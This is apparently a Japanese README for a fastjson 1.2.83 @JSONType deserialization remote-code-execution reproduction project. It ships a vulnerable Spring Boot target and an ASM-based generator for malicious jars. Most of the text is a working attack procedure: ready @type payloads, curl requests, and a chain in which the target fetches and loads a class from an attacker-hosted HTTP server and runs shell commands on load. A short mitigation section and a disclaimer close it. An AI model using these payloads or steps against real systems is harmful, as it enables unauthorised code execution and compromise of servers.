
脆弱なSpring Bootターゲットと、HTTPまたはファイルプロトコルのjarチェーンを使用したASMベースのペイロードジェネレータを用いて、fastjson 1.2.83 @JSONType RCEを再現します。
@JSONType リソース探索チェーン RCE
fastjson 1.2.66 ~ 1.2.83 における @JSONType アノテーション + 不正なクラス名 + jar: プロトコルを使ったリモートクラスロード / コマンド実行の再現プロジェクト。
⚠️ 免責事項
本プロジェクトはセキュリティ研究、脆弱性の再現、認可されたテストのみを目的としています。許可のないシステムへの使用、不正な攻撃、悪意のある用途は固く禁じられています。 利用者は自身の行動に対して全責任を負い、著者はいかなる悪用に対しても法的責任を負いません。
脆弱性分析記事の参考: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
本プロジェクトは CVE-2026-16723 を中心に、完全な fastjson 1.2.83 脆弱性再現環境を構築します:
demo/ —— 脆弱性のある Spring Boot 2.7.18 Web アプリケーション(fastjson 1.2.83 に依存)。外部に POST /parse エンドポイントを公開し、JSON.parse(json) を直接呼び出します;exp/ —— ASM ベースの悪意あるプローブ jar ジェネレーター(HTTP プロトコル / FILE プロトコルの2形態);环境/ —— プリコンパイル済みの3種類のミドルウェア FatJar(Tomcat / Jetty / Undertow)、すぐにそのまま使用可能。利用の核となる考え方:@type が jar URL である特別な JSON を構築し、fastjson を
@JSONType アノテーションの信頼ブランチ → getResourceAsStream によるリモート/ローカル jar のダウンロード →
defineClass による悪意あるクラスのロード → クラス初期化時の <clinit> トリガー → 任意コマンド実行(RCE) と進めます。
JSON.parse(json) または JSON.parseObject(json) を使用して信頼できない入力を直接解析しており、
fastjson のバージョンが 1.2.66 ~ 1.2.83 で、safeMode が無効であること;java -jar で起動、LaunchedURLClassLoader、
Spring Boot ≤ 2.7 でのみ jar: プロトコル Handler のフォールバック機能が保持される);defineClass が ClassFormatError をスローし、最大でも SSRF しか実行できません);fastjson の checkAutoType は、@JSONType アノテーションを持つクラスに遭遇すると信頼ブランチに入り、
ほとんどのブラックリスト検証をスキップしてロードを許可します。本プロジェクトはこれを利用し、ASM で直接バイトコードを書き、
【不正な内部クラス名】を class 定数プールの this_class に書き込んで、3箇所の名前を完全に一致させます:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
悪意あるクラスの構造:
@JSONType アノテーション —— fastjson の checkAutoType 信頼ブランチを開く鍵;<init>()V —— fastjson が正常にインスタンス化できることを保証;<clinit> 静的初期化ブロック —— クラスロード時の初期化で即座に
Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) を実行し、コマンド実行を実現。不正なクラス名は
javacでは書き出せず、ASM だけが URL を直接定数プールに書き込めます —— これが本プロジェクトの ジェネレーターがasm-9.6.jarに依存する理由です。
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
ラボは JDK 8 環境で実行する必要があります(利用条件と一致)。
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
起動後のエンドポイントアドレス:http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 —— 悪意ある jar の HTTP ホスティングポートopen -a Calculator —— ターゲットマシンで実行するコマンド(macOS では電卓が起動します;
Linux では id > /tmp/pwned 2>&1 を使用し、ファイルの存在を確認します)デフォルトでファイル x(拡張子なし)が生成され、内部に y.class が含まれ、
payload は次のとおり:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
python3 -m http.serverは、xファイルを生成したディレクトリで起動してください。
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
コマンド実行の結果は HTTP レスポンスには表示されません。ターゲットマシン上で確認する必要があります:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
適用シナリオ:ターゲットが攻撃機の HTTP ポートにアクセスできない場合(内部ネットワークの分離 / アウトバウンド制限)でも、 jar ファイルをターゲットマシンのファイルシステムに配置できる場合。
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
ジェネレーターはカレントディレクトリに基づいて jar:file: URL を計算します(ディレクトリ区切り文字 / は . に置き換えられます)。
例えば /tmp/project/exp で生成した場合、payload は次のとおり:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
生成したファイル y を、ターゲットマシン上の @type に対応する絶対パス
(例:/tmp/project/exp/y)にアップロード/コピーし、ディレクトリ構造を一致させます。
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
注意:FILE プロトコルチェーンのパスは、ターゲットマシン上の実際のファイルパスと完全に一致している必要があります。 一致しない場合、リソース探索は失敗し、ロードをトリガーできません。
2130706433 は 127.0.0.1 の符号なし 32 ビット整数です。整数で記述することで、IP 内の .
が fastjson の . → / 置換ロジックによって壊れるのを防げます。攻撃機がローカルにない場合:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:... が発生jar はダウンロードできている(SSRF は成立している)ことを示しますが、TypeUtils.loadClass が null を返しています。
原因はほぼ次の2つだけです:
@JSONType アノテーションがない —— 信頼ブランチの探索を通過できず、loadClass にすら到達しません;@type と一致しない —— defineClass でクラス名が実体と一致せず、ロードに失敗します。本プロジェクトのジェネレーターはこの2点を同時に解決しています:@JSONType アノテーション + 3箇所の名前の一致。
ターゲットの ClassLoader が LaunchedURLClassLoader でない場合
(例:IDE で直接 Run、通常の war パッケージ、Spring Boot 3.x)、単発の jar:http チェーンでは RCE できず、
最大でも SSRF の検証しかできません。
JDK 9+ の defineClass は不正なクラス名に対する検証がより厳格で、ClassFormatError をスローするため、
チェーンはロード段階で途切れます。
ParserConfig.getGlobalInstance().setSafeMode(true);
で autoType を完全に無効化できます;JSON.parse(json) /
JSON.parseObject(json) を直接呼び出さず、可能な限り JSON.parseObject(json, Xxx.class) で対象の型を明示的に指定してください;ParserConfig.addAccept(...) で信頼できるクラスのみを許可;@type ペイロードをブロックします。このプロジェクトが役に立ったなら、ぜひ ⭐ Star でセキュリティ研究と脆弱性ドキュメントの整備を支援してください。
⚠️ 認可されたテストのみに使用し、決して不正な用途に使用しないでください!
| 項目 | 内容 |
|---|
| CVE | CVE-2026-16723 |
| コンポーネント | Alibaba fastjson |
| 影響バージョン | 1.2.66 ~ 1.2.83(1.x の最終バージョンでも影響を受けます) |
| 脆弱性タイプ | 逆シリアル化によるリモートコード実行(RCE) |
| トリガーエントリ | JSON.parse(json) / JSON.parseObject(json)(具体的な型を指定しない) |
| 前提条件 | ターゲットが Spring Boot FatJar、JDK 8、safeMode 無効 |
| パラメーター | デフォルト値 | 説明 |
|---|
port | 19090 | 悪意ある jar のホスティングポート |
cmd | id > /tmp/pwned 2>&1 | ターゲットマシンで実行するコマンド |
hostToken | 2130706433 | ターゲットがアクセスする IP の整数形式(127.0.0.1) |
entry | y | jar 内の class エントリ名 |
outFile | x | 生成される jar のファイル名(拡張子なし) |
| パラメーター | デフォルト値 | 説明 |
|---|
port | 19090 | 予約パラメーター(FILE チェーンではポートを使用しない) |
cmd | id > /tmp/pwned 2>&1 | ターゲットマシンで実行するコマンド |
dir | カレントディレクトリ | ターゲットマシン上の jar のディレクトリ(jar:file: URL の生成用) |
entry | x | jar 内の class エントリ名 |
outFile | y | 生成される jar のファイル名(拡張子なし) |